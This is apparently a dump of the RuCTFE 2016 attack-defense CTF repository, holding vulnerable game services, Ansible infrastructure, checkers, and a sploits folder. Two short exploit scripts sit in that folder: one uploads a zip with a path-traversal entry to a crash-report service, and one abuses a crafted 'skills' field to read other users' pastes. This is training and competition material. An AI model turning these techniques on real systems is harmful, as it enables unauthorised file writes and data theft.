14 | if (read(client->socket, inputBufferHttp, sizeof(inputBufferHttp)) == 0)
15 | return;
16 |
17 | char response[TPSIZE];
18 | wt_fill_template(inputBufferHttp, response, templateHttp);
19 |
20 | write(client->socket, response, strlen(response));
21 |
22 | wt_close_client(client);
23 | }
--------------------------------------------------------------------------------
/services/weather/types.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define true 1
4 | #define false 0
5 |
6 | #define max(a, b) ((a) >= (b) ? (a) : (b))
7 | #define min(a, b) ((a) <= (b) ? (a) : (b))
8 | #define abs(n) ((n) >= 0 ? (n) : -(n))
9 |
10 | typedef unsigned char byte;
11 | typedef signed char sbyte;
12 | typedef unsigned short uint16;
13 | typedef signed short int16;
14 | typedef unsigned int uint32;
15 | typedef signed int int32;
16 | typedef unsigned long long uint64;
17 | typedef signed long long int64;
18 | typedef int32 bool;
19 |
20 | void wt_error(const char *message);
21 |
22 | void wt_system(const char *message);
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: create diamond user
2 | user: name=diamond shell=/bin/false createhome=no
3 |
4 | - name: install diamond
5 | pip: name=diamond
6 |
7 | - name: copy diamond configs
8 | copy: src=diamond dest=/etc/
9 | notify: enable and restart diamond
10 |
11 | - name: create diamond dirs
12 | file: path=/var/log/diamond/ state=directory owner=diamond group=diamond
13 | notify: enable and restart diamond
14 |
15 | - name: copy diamond systemd service
16 | copy: src=diamond.service dest=/etc/systemd/system/diamond.service
17 | notify: enable and restart diamond
18 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/snat/check_snat_rules.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # checks rules for teams snat. Team will see incoming connections from 10.8{0..3}.{0..254}.1
3 | # this script should be run once before the game starts
4 |
5 | for num in {0..767}; do
6 | ip="10.$((80 + num / 256)).$((num % 256)).1"
7 |
8 | if ! iptables -t nat -C POSTROUTING -o team${num} -j SNAT --to-source ${ip}; then
9 | echo "Holy sheet! Team ${num} is not SNATted!!!"
10 | echo "You can fix it with this command"
11 | echo "iptables -t nat -A POSTROUTING -o team${num} -j SNAT --to-source ${ip}"
12 | fi
13 | done
14 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/networkclosed/open_network.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # go to script dir
4 | cd "$( dirname "${BASH_SOURCE[0]}" )"
5 |
6 | echo 1 > /proc/sys/net/ipv4/ip_forward
7 |
8 | for num in {0..767}; do
9 | ip="10.$((80 + num / 256)).$((num % 256)).1"
10 |
11 | while iptables -t nat -C PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &>/dev/null; do
12 | iptables -t nat -D PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002
13 | done;
14 | done
15 |
16 | ./check_network.sh
17 |
--------------------------------------------------------------------------------
/services/atlablog/templates/registration.html:
--------------------------------------------------------------------------------
1 | {% extends "base.html" %}
2 |
3 | {% import '_form_macro.html' as forms %}
4 |
5 | {% block content %}
6 |
13 | {% endblock %}
14 |
--------------------------------------------------------------------------------
/sploits/crash/just_crash.cpp:
--------------------------------------------------------------------------------
1 | #include "client/linux/handler/exception_handler.h"
2 | #include
3 |
4 |
5 | //
6 | static bool dumpCallback( const google_breakpad::MinidumpDescriptor& descriptor, void* context, bool succeeded ) {
7 | printf("%s", descriptor.path());
8 | fflush (stdout);
9 | return succeeded;
10 | }
11 |
12 |
13 | //
14 | int main( int argc, char* argv[] ) {
15 | google_breakpad::MinidumpDescriptor descriptor("./");
16 | google_breakpad::ExceptionHandler eh(descriptor, NULL, dumpCallback, NULL, true, -1);
17 |
18 | volatile int* ptr = 0;
19 | *ptr = 0;
20 |
21 | return 0;
22 | }
23 |
24 |
--------------------------------------------------------------------------------
/ansible/roles/weather/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Install requirements
3 | apt: name=libc6-dev-i386
4 |
5 | - name: Create user
6 | user: createhome=yes name=weather
7 |
8 | - name: Copy service
9 | copy:
10 | src: "{{ playbook_dir }}/../services/weather/weather"
11 | dest: "/home/weather/weather"
12 | owner: weather
13 | mode: 0755
14 | force: yes
15 |
16 | - name: Add systemd service
17 | template: src=service.j2 dest=/lib/systemd/system/weather.service
18 |
19 | - name: Enable service
20 | service: name=weather enabled=yes
21 |
22 | - name: Start service
23 | service: name=weather state=restarted
24 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/helpers/ThrottlingHelper.kt:
--------------------------------------------------------------------------------
1 | package cartographer.helpers
2 |
3 | import cartographer.throttling.Throttler
4 | import org.springframework.http.HttpStatus
5 | import org.springframework.http.ResponseEntity
6 |
7 | inline fun throttle(throttler: Throttler, action: () -> ResponseEntity) : ResponseEntity {
8 | try {
9 | if (!throttler.tryAcquireResource()) {
10 | return ResponseEntity(HttpStatus.TOO_MANY_REQUESTS)
11 | }
12 |
13 | return action()
14 | } finally {
15 | throttler.releaseResource()
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/services/thebin/rand.lua:
--------------------------------------------------------------------------------
1 | local ffi = require 'ffi'
2 |
3 | ffi.cdef [[
4 | typedef struct {
5 | unsigned long long state;
6 | unsigned value;
7 | } result_t;
8 |
9 | result_t next(unsigned long long state);
10 | unsigned long long init();
11 | ]]
12 |
13 | local crand = ffi.load '/etc/nginx/rand.so'
14 |
15 | local module = {}
16 |
17 | function module.init()
18 | return tonumber(crand.init());
19 | end
20 |
21 | setmetatable(module, {
22 | __call = function(_, value)
23 | value = tonumber(value)
24 | local res = crand.next(value)
25 | return tonumber(res.state), tonumber(res.value)
26 | end
27 | })
28 |
29 | return module
30 |
--------------------------------------------------------------------------------
/services/thebin/static/css/bin.css:
--------------------------------------------------------------------------------
1 | html {
2 | word-wrap: break-word;
3 | }
4 |
5 | .table {
6 | table-layout: fixed;
7 | }
8 |
9 | .table tr td:nth-child(1) {
10 | font-size: larger;
11 | width: 85%;
12 | }
13 |
14 | .table tr td:nth-child(2) {
15 | color: #666;
16 | text-align: right;
17 | vertical-align: bottom;
18 | font-style: italic;
19 | }
20 |
21 | .author {
22 | color: #666;
23 | font-style: italic;
24 | }
25 |
26 | .text {
27 | font-size: larger;
28 | }
29 |
30 | .verified {
31 | position: absolute;
32 | right: -7px;
33 | top: -10px;
34 | color: green;
35 | font-size: 20px;
36 | }
37 |
38 | .verified abbr {
39 | border: none;
40 | }
--------------------------------------------------------------------------------
/services/sapmarine/static/js/sapmarine.js:
--------------------------------------------------------------------------------
1 | $(".take-trip-form").submit(function() {
2 | var $form = $(this);
3 | $.ajax({
4 | url: $form.attr("action") || "",
5 | type: $form.attr("method") || "GET",
6 | data: $form.serialize(),
7 | cache: false
8 | }).fail(function(xhr) {
9 | alert("Failed to take trip: " + (xhr.responseText || xhr.statusMessage || "Unknown error"));
10 | }).done(function(data) {
11 | $form.closest("tr").addClass("warning");
12 | $form.replaceWith($("Rate passenger").attr("href", "/reviewForm?tripId=" + encodeURIComponent(data)));
13 | });
14 | return false;
15 | });
16 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # RuCTFE 2016
2 |
3 | [RuCTFE](https://ructfe.org) is an annual online international challenge in the information security.
4 |
5 | The contest is driven by classic rules (Attack-Defense [CTF](https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security)). Each team is given a set of vulnerable services. Organizers regulary fill services with private information — the flags. The goal of each team is to find vulnerabilities, fix them in their services and exploit them in order to get flags from other teams.
6 |
7 | RuCTFE 2016 was held on November 12, 2016. [Results](https://ructfe.org/2016/results/)
8 |
9 | Copyright (C) 2016 [HackerDom](http://hackerdom.ru)
10 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/teamcheck/teams.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import json
3 |
4 | USE_REAL_TEAMS = False
5 |
6 | URL = "http://ructf.org/e/2014/teams/info"
7 |
8 | teams_cache = {}
9 |
10 | def get_teams():
11 | global teams_cache
12 | try:
13 | teams = {}
14 | if not USE_REAL_TEAMS:
15 | for i in range(768):
16 | teams[i] = "test_team%d" % i
17 | else:
18 | content = requests.get(URL).text
19 | teams_list = json.loads(content)
20 | for team_id, team_name in teams_list:
21 | if type(team_id) is int:
22 | teams[team_id] = team_name
23 | except Exception:
24 | return teams_cache
25 |
26 | teams_cache = teams
27 | return teams
28 |
--------------------------------------------------------------------------------
/ansible/roles/cartographer/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Create user
3 | user: createhome=yes name=cartographer
4 |
5 | - name: Copy service
6 | copy:
7 | src: "/tmp/cartographer.jar"
8 | dest: "/home/cartographer/cartographer.jar"
9 | owner: cartographer
10 | force: yes
11 |
12 | - name: Fix permissions
13 | file: name="/home/cartographer" state=directory owner=cartographer recurse=yes
14 |
15 | - name: Add systemd service
16 | template: src=service.j2 dest=/lib/systemd/system/cartographer.service
17 |
18 | - name: Enable service
19 | service: name=cartographer enabled=yes
20 |
21 | - name: Start service
22 | service: name=cartographer state=restarted
23 |
--------------------------------------------------------------------------------
/ansible/roles/swift/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Install required system packages.
3 | apt: pkg={{ item }} state=installed
4 | with_items:
5 | - clang
6 | - git
7 | - libcurl3
8 | - libcurl4-openssl-dev
9 | - libicu-dev
10 | - libssl-dev
11 | - libxml2-dev
12 | - python-dev
13 |
14 | - name: Download swift
15 | get_url:
16 | url: "https://swift.org/builds/swift-3.0-release/ubuntu1404/swift-3.0-RELEASE/swift-3.0-RELEASE-ubuntu14.04.tar.gz"
17 | dest: /opt/swift-3.0-RELEASE-ubuntu14.04.tar.gz
18 |
19 | - name: Unarchive swift
20 | unarchive:
21 | src: "/opt/swift-3.0-RELEASE-ubuntu14.04.tar.gz"
22 | dest: /opt/
23 | copy: no
24 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/gen/gen_keys.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | from subprocess import call
4 |
5 | N = 768
6 | OPENVPN_PATH = "/usr/sbin/openvpn"
7 |
8 | if __name__ != "__main__":
9 | print("I am not a module")
10 | sys.exit(0)
11 |
12 |
13 | os.chdir(os.path.dirname(os.path.realpath(__file__)))
14 | try:
15 | os.mkdir("keys")
16 | os.chdir("keys")
17 | except FileExistsError:
18 | print("Remove ./keys directory first")
19 | sys.exit(1)
20 |
21 | for i in range(N):
22 | keyname = "%d.key" % i
23 | call([OPENVPN_PATH, "--genkey", "--secret", keyname])
24 | if not os.path.isfile(keyname):
25 | print("Failed to gen: %s" % keyname)
26 | break
27 | else:
28 | print("All ok")
29 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/DefaultKeyGenerator.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import org.springframework.stereotype.Component
4 | import java.security.Key
5 | import java.security.SecureRandom
6 | import javax.crypto.KeyGenerator
7 |
8 | @Component
9 | class DefaultKeyGenerator(val cryptographySettings: CryptographySettings) : cartographer.crypto.KeyGenerator {
10 | private val secureRandom = SecureRandom()
11 |
12 | override fun generate(): Key {
13 | val keyGenerator = KeyGenerator.getInstance(cryptographySettings.keySpec)
14 | keyGenerator.init(128, secureRandom)
15 | return keyGenerator.generateKey()
16 | }
17 | }
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/networkclosed/close_network.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # go to script dir
4 | cd "$( dirname "${BASH_SOURCE[0]}" )"
5 |
6 | echo 0 > /proc/sys/net/ipv4/ip_forward
7 |
8 | for num in {0..767}; do
9 | ip="10.$((80 + num / 256)).$((num % 256)).1"
10 |
11 | if ! iptables -t nat -C PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &> /dev/null; then
12 | iptables -t nat -A PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &> /dev/null
13 | #echo "Added DNAT rule for team ${num}"
14 | fi
15 | done
16 |
17 | ./check_network.sh
18 |
--------------------------------------------------------------------------------
/services/thebin/json.lua:
--------------------------------------------------------------------------------
1 | local json = require 'cjson'
2 |
3 | local module = {json = json.new()}
4 |
5 | function module.encode(self, t)
6 | return self.json.encode(t)
7 | end
8 |
9 | local function fix_nil(t)
10 | if type(t) == 'table' then
11 | local result = {}
12 | for pos, val in pairs(t) do
13 | result[pos] = fix_nil(val)
14 | end
15 | return result
16 | elseif t == json.null then
17 | return nil
18 | else
19 | return t
20 | end
21 | end
22 |
23 | function module.decode(self, str)
24 | local t
25 | local ok, err = pcall(function() t = self.json.decode(str) end)
26 | if not ok then
27 | return nil
28 | end
29 | return fix_nil(t)
30 | end
31 |
32 | return module
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/trafdump/del_trafdump_rules.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # removes rules for traffic dump
3 | # this script shouldn't be run normally :)
4 |
5 | for chain in INPUT FORWARD OUTPUT; do
6 | iptables -t mangle -D $chain -s 10.80.0.0/14 -j TEE --gateway 10.10.10.10
7 | iptables -t mangle -D $chain -s 10.60.0.0/14 -j TEE --gateway 10.10.10.10
8 | iptables -t mangle -D $chain -s 10.10.10.2/32 -j TEE --gateway 10.10.10.10
9 | iptables -t mangle -D $chain -s 10.10.10.3/32 -j TEE --gateway 10.10.10.10
10 | iptables -t mangle -D $chain -s 10.10.10.4/32 -j TEE --gateway 10.10.10.10
11 | iptables -t mangle -D $chain -s 10.10.10.5/32 -j TEE --gateway 10.10.10.10
12 | done
13 |
--------------------------------------------------------------------------------
/services/atlablog/test_main.py:
--------------------------------------------------------------------------------
1 | from sanic.response import text
2 | from sanic.utils import sanic_endpoint_test
3 |
4 | from main import make_app
5 |
6 |
7 | def test_sync():
8 | app = make_app()
9 |
10 | @app.route('/test')
11 | def handler(request):
12 | return text('Hello')
13 |
14 | request, response = sanic_endpoint_test(app, uri='/test')
15 |
16 | assert response.text == 'Hello'
17 |
18 |
19 | def test_async():
20 | app = make_app()
21 |
22 | @app.route('/test')
23 | async def handler(request):
24 | return text('Hello')
25 |
26 | request, response = sanic_endpoint_test(app, uri='/test')
27 |
28 | assert response.text == 'Hello'
29 |
--------------------------------------------------------------------------------
/checkers/atlablog/templates/user_credentials.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 |
4 |
5 | def generate_user_credentials(email):
6 | num_range = [str(i) for i in range(9)]
7 | letters = list(string.ascii_lowercase)
8 | user_suffix = random.sample(letters + num_range, 15)
9 | user_password = random.sample(num_range + letters, 24)
10 | user_email = random.sample(num_range + letters, 31)
11 | site_email = random.sample(num_range + letters, 5)
12 |
13 | user = "User_" + "".join(user_suffix)
14 | if not email:
15 | email = "".join(user_email) + "@" + "".join(site_email) + ".com"
16 | else:
17 | email += "@ructfe.flag"
18 | return user, "".join(user_password), email
19 |
--------------------------------------------------------------------------------
/services/weather/forecast.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "types.h"
4 | #include "storage.h"
5 |
6 | #define WT_CLEAR 0
7 | #define WT_SOME_CLOUDS 1
8 | #define WT_CLOUDY 2
9 | #define WT_RAIN 3
10 | #define WT_THUNDERSTORM 4
11 | #define WT_SNOW 5
12 |
13 | #define WT_VALSAMPLES 2
14 | #define WT_SAMPLES (WT_VALSAMPLES * WT_LAST_SAVED)
15 | #define WT_POLY_POWER 3
16 |
17 | void wt_forecast_temp_prepare(const char *rawSamples, int32 *samples);
18 |
19 | void wt_forecast_temp_update(const int32 *samples);
20 |
21 | void wt_forecast_temp(int32 *forecast, int32 forecastLength);
22 |
23 | void wt_forecast_type(const char *rawSamples, const int32 *tempSamples, int32 forecastLength, char *forecast);
24 |
25 | uint64 wt_sign(const char *data, int32 length);
--------------------------------------------------------------------------------
/ansible/roles/backuper/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: apt install mailutils
2 | apt: name=mailutils state=latest
3 | tags: backuper
4 |
5 | - name: create backuper user
6 | user: name=backuper shell=/bin/bash
7 | tags: backuper
8 |
9 | - name: create backuper directories
10 | file: path=/home/backuper/{{item}} state=directory owner=backuper group=backuper
11 | with_items:
12 | - a
13 | - b
14 | - .ssh
15 | tags: backuper
16 |
17 | - name: copy backuper user private ssh key
18 | copy: src=id_rsa dest=/home/backuper/.ssh/id_rsa owner=backuper group=backuper mode=0600
19 | tags: backuper
20 |
21 | - name: copy backup script
22 | copy: src=checksystem_backup.sh dest=/home/backuper/checksystem_backup.sh mode=0755
23 | tags: backuper
24 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/data/SynchronizeTimeResponse.kt:
--------------------------------------------------------------------------------
1 | package cartographer.data
2 |
3 | import cartographer.providers.DateTimeProvider
4 | import com.fasterxml.jackson.annotation.JsonProperty
5 | import java.time.ZonedDateTime
6 |
7 | data class SynchronizeTimeResponse(@JsonProperty("sendRequestTime") val sendRequestTime: ZonedDateTime,
8 | @JsonProperty("receiveRequestTime") val receiveRequestTime: ZonedDateTime,
9 | @JsonProperty("sendResponseTime") val sendResponseTime: ZonedDateTime) {
10 | constructor(sendRequestTime: ZonedDateTime, dateTimeProvider: DateTimeProvider)
11 | : this(sendRequestTime, dateTimeProvider.get(), dateTimeProvider.get())
12 | }
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/helpers/SerializationHelper.kt:
--------------------------------------------------------------------------------
1 | package cartographer.helpers
2 |
3 | import java.nio.ByteBuffer
4 | import java.util.*
5 |
6 | fun bytesToInt(bytes: ByteArray): Int {
7 | return ByteBuffer.wrap(bytes).int
8 | }
9 |
10 | fun intToBytes(size: Int): ByteArray {
11 | return ByteBuffer.allocate(4).putInt(size).array()
12 | }
13 |
14 | fun bytesToUuid(bytes: ByteArray): UUID {
15 | val byteBuffer = ByteBuffer.wrap(bytes)
16 | return UUID(byteBuffer.long, byteBuffer.long)
17 | }
18 |
19 | fun uuidToBytes(uuid: UUID): ByteArray {
20 | return ByteBuffer.allocate(16)
21 | .putLong(uuid.mostSignificantBits)
22 | .putLong(uuid.leastSignificantBits)
23 | .array()
24 | }
--------------------------------------------------------------------------------
/services/cartographer/src/main/resources/log4j2.yaml:
--------------------------------------------------------------------------------
1 | Configutation:
2 | name: Default
3 |
4 | Properties:
5 | Property:
6 | name: log-path
7 | value: "logs"
8 |
9 | Appenders:
10 |
11 | Console:
12 | name: Console_Appender
13 | target: SYSTEM_OUT
14 | PatternLayout:
15 | pattern: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%-5level] [%c{1.}] %msg%n"
16 |
17 | File:
18 | name: File_Appender
19 | fileName: ${log-path}/logfile.log
20 | PatternLayout:
21 | pattern: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%-5level] [%c{1.}] %msg%n"
22 |
23 | Loggers:
24 |
25 | Root:
26 | level: debug
27 | AppenderRef:
28 | - ref: Console_Appender
29 | - ref: File_Appender
--------------------------------------------------------------------------------
/services/cartographer/src/test/resources/log4j2.yaml:
--------------------------------------------------------------------------------
1 | Configutation:
2 | name: Default
3 |
4 | Properties:
5 | Property:
6 | name: log-path
7 | value: "logs"
8 |
9 | Appenders:
10 |
11 | Console:
12 | name: Console_Appender
13 | target: SYSTEM_OUT
14 | PatternLayout:
15 | pattern: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%-5level] [%c{1.}] %msg%n"
16 |
17 | File:
18 | name: File_Appender
19 | fileName: ${log-path}/logfile.log
20 | PatternLayout:
21 | pattern: "%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] [%-5level] [%c{1.}] %msg%n"
22 |
23 | Loggers:
24 |
25 | Root:
26 | level: debug
27 | AppenderRef:
28 | - ref: Console_Appender
29 | - ref: File_Appender
--------------------------------------------------------------------------------
/ansible/roles/image/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Add ssh_key
3 | authorized_key: key="{{ SSH_PUBLIC_KEY }}" user=root exclusive=yes
4 |
5 | - name: generate locales
6 | locale_gen: name=en_US.UTF-8 state=present
7 |
8 | - name: use dns no in ssh
9 | lineinfile: dest=/etc/ssh/sshd_config insertafter=EOF line="UseDNS no"
10 |
11 | - name: generate network
12 | copy:
13 | content: "source /etc/network/interfaces.d/*\nauto lo\niface lo inet loopback"
14 | dest: /etc/network/interfaces
15 | force: yes
16 |
17 | - name: generate eth0
18 | copy:
19 | content: "allow-hotplug eth0\niface eth0 inet dhcp\n"
20 | dest: /etc/network/interfaces.d/eth0.cfg
21 |
22 | - name: add first_time.sh
23 | copy: src=first_time.sh dest=/root/first_time.sh mode=0755
24 |
--------------------------------------------------------------------------------
/ansible/roles/common/templates/hosts.j2:
--------------------------------------------------------------------------------
1 | 127.0.0.1 localhost {{inventory_hostname}}
2 |
3 | 185.32.185.51 vpn.a1
4 | 185.32.185.50 vpn-dev.a2
5 | 185.32.185.56 chk0.a3
6 | 185.32.185.55 chk1.a4
7 | 185.32.185.54 chk2.a5
8 | 185.32.185.53 chk3.a6
9 | 185.32.185.52 chk4.a7
10 |
11 | #185.32.185.53 dump.a6
12 | #185.32.185.52 mon.a7
13 | 185.32.185.61 mon.a10
14 |
15 | 10.10.10.1 vpn
16 | 10.10.10.2 vpn-dev
17 | 10.10.10.3 chk0
18 | 10.10.10.4 chk1
19 | 10.10.10.5 chk2
20 | 10.10.10.6 chk3
21 | 10.10.10.7 chk4
22 | #10.10.10.6 dump
23 | 10.10.10.10 mon
24 |
25 | # The following lines are desirable for IPv6 capable hosts
26 | ::1 ip6-localhost ip6-loopback
27 | fe00::0 ip6-localnet
28 | ff00::0 ip6-mcastprefix
29 | ff02::1 ip6-allnodes
30 | ff02::2 ip6-allrouters
31 | ff02::3 ip6-allhosts
32 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/configs/JacksonConfig.kt:
--------------------------------------------------------------------------------
1 | package cartographer.configs
2 |
3 | import com.fasterxml.jackson.databind.ObjectMapper
4 | import com.fasterxml.jackson.databind.SerializationFeature
5 | import org.springframework.context.annotation.Bean
6 | import org.springframework.context.annotation.Configuration
7 | import org.springframework.http.converter.json.Jackson2ObjectMapperBuilder
8 |
9 | @Configuration
10 | open class JacksonConfig {
11 | @Bean
12 | open fun objectMapper(builder: Jackson2ObjectMapperBuilder): ObjectMapper {
13 | val objectMapper = builder.createXmlMapper(false).build()
14 | objectMapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false)
15 | return objectMapper
16 | }
17 | }
--------------------------------------------------------------------------------
/services/weather/Makefile:
--------------------------------------------------------------------------------
1 | CC = gcc
2 | CFLAGS = -std=c99 -m32 -O0 -fno-stack-protector -fpie
3 | LDFLAGS = -m32 -shared-libgcc -s -pie
4 | DEPS =
5 |
6 | %.o: %.c $(DEPS)
7 | $(CC) -c -o $@ $< $(CFLAGS)
8 |
9 | WEATHER_OBJS = entrypoint.o server.o httpserver.o controlserver.o dispatcher.o storage.o forecast.o matrix.o types.o logging.o
10 | weather: $(WEATHER_OBJS)
11 | gcc -o weather $(WEATHER_OBJS) $(LDFLAGS)
12 |
13 | SIGNTOOL_OBJS = signtool.o forecast.o matrix.o types.o logging.o
14 | signtool: $(SIGNTOOL_OBJS)
15 | gcc -o signtool $(SIGNTOOL_OBJS) $(LDFLAGS)
16 |
17 | CHECKER_OBJS = checker.o forecast.o matrix.o types.o logging.o
18 | checker: $(CHECKER_OBJS)
19 | gcc -o checker $(CHECKER_OBJS) $(LDFLAGS)
20 |
21 | all: weather checker
22 |
23 | clean:
24 | rm -f weather checker signtool *.o
--------------------------------------------------------------------------------
/sploits/crash/sploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import sys
3 | import os
4 | import zipfile
5 | import requests
6 | from io import BytesIO
7 |
8 | addr = sys.argv[1]
9 | guid = sys.argv[2]
10 |
11 | # zip minidump file
12 | inMemoryZip = BytesIO()
13 | zf = zipfile.ZipFile( inMemoryZip, mode='w' )
14 | zf.write( "dump.dmp", arcname = '%s.dmp' % guid )
15 | zf.write( "symbols/just_crash/8A0D3C1EADB4865FDC91DA786A0E07640/just_crash.sym", "../../symbols/just_crash/8A0D3C1EADB4865FDC91DA786A0E07640/just_crash.sym" )
16 | zf.close()
17 | inMemoryZip.seek(0)
18 |
19 | # submit report
20 | url = 'http://%s/submit' % ( addr )
21 | print url
22 | files = { 'dump_zip_file': inMemoryZip.read() }
23 | headers = { 'Service-Name' : "just_crash", 'GUID' : guid }
24 | requests.post(url, files=files, headers=headers )
25 |
--------------------------------------------------------------------------------
/sploits/thebin/thebin.2.sploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import json
4 | import sys
5 | import requests
6 | import random
7 | import string
8 |
9 | def get_rand_string(l):
10 | return ''.join(random.choice(string.ascii_lowercase) for _ in range(l + random.randint(-l//2, l//2)))
11 |
12 |
13 | def main(hostname):
14 | state = requests.Session()
15 | resp = state.post('http://{}/login'.format(hostname), data={'user': get_rand_string(15), 'password': get_rand_string(15), 'skills': '[null, "hacker"]'})
16 | if resp.status_code != 200:
17 | print("can't login")
18 | for url in sys.stdin:
19 | resp = state.get('http://{}/{}'.format(hostname, url.strip().lstrip('/')))
20 | if resp.status_code == 200:
21 | print(resp.json()['body'])
22 |
23 |
24 | if __name__ == '__main__':
25 | main(sys.argv[1])
--------------------------------------------------------------------------------
/ansible/roles/cs_master/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: systemd configs
2 | template: src=manager.service.j2 dest=/etc/systemd/system/manager.service
3 |
4 | - name: systemd configs
5 | template: src=web.service.j2 dest=/etc/systemd/system/web.service
6 |
7 | - name: systemd configs
8 | template: src=worker.service.j2 dest=/etc/systemd/system/worker.service
9 |
10 | - name: systemd configs
11 | template: src=watcher.service.j2 dest=/etc/systemd/system/watcher.service
12 |
13 | - name: systemd reload
14 | command: systemctl daemon-reload
15 |
16 | - name: nginx config
17 | template: src=nginx.conf.j2 dest=/etc/nginx/conf.d/cs.conf
18 |
19 | - name: sync vis
20 | synchronize: src=../viz dest=/home/cs
21 |
22 | - name: permissions
23 | file: path=/home/cs/viz owner={{cs_user}} group=www-data recurse=yes
24 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/CryptographySettings.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import cartographer.settings.SettingsContainer
4 | import cartographer.settings.StringSetting
5 | import org.springframework.stereotype.Component
6 |
7 | @Component
8 | open class CryptographySettings {
9 | companion object {
10 | private val cipherSpecSetting = StringSetting("cryptography.cipher_spec", "AES/CBC/PKCS5Padding")
11 | private val keySpecSetting = StringSetting("cryptography.key_spec", "AES")
12 | }
13 |
14 | val cipherSpec: String
15 | val keySpec: String
16 |
17 | constructor(settingsContainer: SettingsContainer) {
18 | cipherSpec = cipherSpecSetting.getValue(settingsContainer)
19 | keySpec = keySpecSetting.getValue(settingsContainer)
20 | }
21 | }
--------------------------------------------------------------------------------
/services/crash/views/report.tpl:
--------------------------------------------------------------------------------
1 | % rebase('base.tpl', title='')
2 |
3 |
4 |
5 | | Crash guid |
6 | |
7 |
8 |
9 | | Crash reason |
10 | |
11 |
12 |
13 | | Crash address |
14 | |
15 |
16 |
17 | | Remote IP |
18 | |
19 |
20 |
21 |
22 | Download
23 |
24 | Crash thread stack
25 |
26 |
27 | | Idx |
28 | Module |
29 | Signature |
30 | Source |
31 | Line |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/static/static/css/weather.css:
--------------------------------------------------------------------------------
1 | .wt-icon-large {
2 | width: 200px;
3 | }
4 |
5 | .wt-temp-large {
6 | font-size: 36px;
7 | font-weight: 500;
8 | margin: 40px 0 -60px 150px;
9 | }
10 |
11 | .wt-block-large {
12 | margin: -30px;
13 | }
14 |
15 | .wt-icon-small {
16 | width: 140px;
17 | }
18 |
19 | .wt-temp-small {
20 | font-size: 20px;
21 | font-weight: 500;
22 | margin: 0 0 -50px 110px;
23 | }
24 |
25 | .wt-block-small {
26 | margin: 30px 0 0 -15px;
27 | display: inline-block;
28 | }
29 |
30 | .wt-signature {
31 | margin-top: 60px;
32 | font-size: 8px;
33 | color: #eee;
34 | font-family: monospace;
35 | }
36 |
37 | .wt-well {
38 | border: none;
39 | }
40 |
41 | .wt-body {
42 | background: #f4f8ff;
43 | }
44 |
45 | .wt-header {
46 | margin-top: -40px;
47 | margin-bottom: 0;
48 | border-bottom: 1px solid #595d8c;
49 | }
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/networkclosed/networkclosed_serv.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import asyncio
4 |
5 |
6 | MSG = """The network is closed.
7 |
8 | ---
9 | RuCTFE organizers.
10 | """
11 |
12 |
13 | def accept_client(client_reader, client_writer):
14 | task = asyncio.Task(handle_client(client_reader, client_writer))
15 |
16 | def client_done(task):
17 | client_writer.close()
18 |
19 | task.add_done_callback(client_done)
20 |
21 |
22 | @asyncio.coroutine
23 | def handle_client(client_reader, client_writer):
24 | client_writer.write(MSG.encode())
25 |
26 |
27 | def main():
28 | loop = asyncio.get_event_loop()
29 | f = asyncio.start_server(accept_client, host=None, port=40002)
30 | loop.run_until_complete(f)
31 | loop.run_forever()
32 |
33 | if __name__ == '__main__':
34 | main()
35 |
--------------------------------------------------------------------------------
/services/weather/matrix.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "types.h"
4 |
5 | #define M_EPS 1e-9
